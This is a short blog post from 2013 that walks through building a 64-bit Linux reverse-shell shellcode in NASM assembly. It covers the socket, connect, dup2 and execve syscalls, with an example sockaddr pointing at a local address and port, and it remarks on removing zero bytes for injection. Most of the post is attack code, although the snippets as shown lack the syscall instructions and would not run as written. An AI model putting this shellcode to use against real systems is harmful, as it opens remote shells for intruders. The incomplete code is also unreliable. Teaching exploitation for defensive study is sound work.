Sunday, January 6, 2013

A 64 bits reverse shellcode

More bits equals more fun!
I'm sure a similar approach is possible also in 32 bit mode, but as the sacred linux man says: 
"Only standard library implementors and kernel hackers need to know about socketcall()".

Technically, in this very moment, we are not kernel hackers, so let's use 64 bits syscalls socket() and connect().

0. Introduction

The desired behaviour of a  reverse shellcode is:
  1. Create a socket using tcp/udp or you favourite kernel-supported protocol.
  2. Connect to your server.
  3. Duplicate the socket file descriptor into the standard input and standard output one's.
  4. Exec a shell.

1. sys_socket(int domain, int type, int protocol) -- 41

Using man and header files <bits/socket.h> and <bits/socket_type.h>, we can easily determine the parameters: 
  • domain: AF_INET = PF_INET = 2
  • type: SOCK_STREAM = 1
  • protocol: 0
The return value is the file descriptor.

 ; asmlinkage long sys_socket(int domain, int type, int protocol);  
 mov rdi, 2 ; AF_INET => PF_INET => 2 ;;; /usr/include/bits/socket.h  
 mov rsi, 1 ; SOCK_STREAM => 1 ;;; /usr/include/bits/socket_type.h  
 mov rdx, 0  
 mov rax, 41  
 ; now rax contains the fd  

2. sys_connect(int fd, struct sockaddr user *, int addrlen) -- 42

The boring part consists in manually define the sockaddr_in structure:

 struct sockaddr_in {  
   short      sin_family;  // AF_INET (2)
   unsigned short  sin_port; // in network byte order (htons())  
   struct in_addr  sin_addr; // As 32 bit  
   char       sin_zero[8];  

Example for connection to

 sockaddr db 2,0,0x04,0xd2,0x7f,0x00,0x00,0x01,0,0,0,0,0,0,0,0  

Using the new shiny relative IP addressing, we can easly write the asm code:

 ; asmlinkage long sys_connect(int fd, struct sockaddr __user *, int addrlen);  
 mov rdi, rax ; fd  
 lea rsi, [rel sockaddr] ; Socket address inet  
 mov rdx, 16 ; sock_addr_in size  
 mov rax, 42  

3. sys_dup2(unsigned int oldfd, unsigned int newfd) -- 33

"Crepi l'avarizia!" We'll duplicate stdin, stdout and stderr.

 ; asmlinkage long sys_dup2(unsigned int oldfd, unsigned int newfd);  
 ; check if rdi contains the fd  
 mov rsi, 2 ; stderr  
 mov rax, 33  
 mov rsi, 1 ; stdout  
 mov rax, 33  
 mov rsi, 0 ; stdin  
 mov rax, 33  

4. kernel_execve(const char *filename, const char *const argv[], const char *const envp[]) -- 59

The final step is to execute a shell:

 ; int kernel_execve(const char *filename, const char *const argv[], const char *const envp[]);  
 lea rdi, [rel filename]  
 lea rsi, [rel args]  
 mov rdx, 0  
 mov [rel args], rdi  
 mov [rel args+8], rdx  
 mov rax, 59  
 filename db '/bin/bash',0  
 args times 2 dq 1  ; nasm syntax

5. Conclusions

If the shellcode has to be injected as string, a zero-byte elimination process must be performed, but it's quite straightforward.

Due to the high number of the syscalls needed,  the shellcode is really big and maybe of difficult usage, but of couse it's all for academic purposes.

No comments: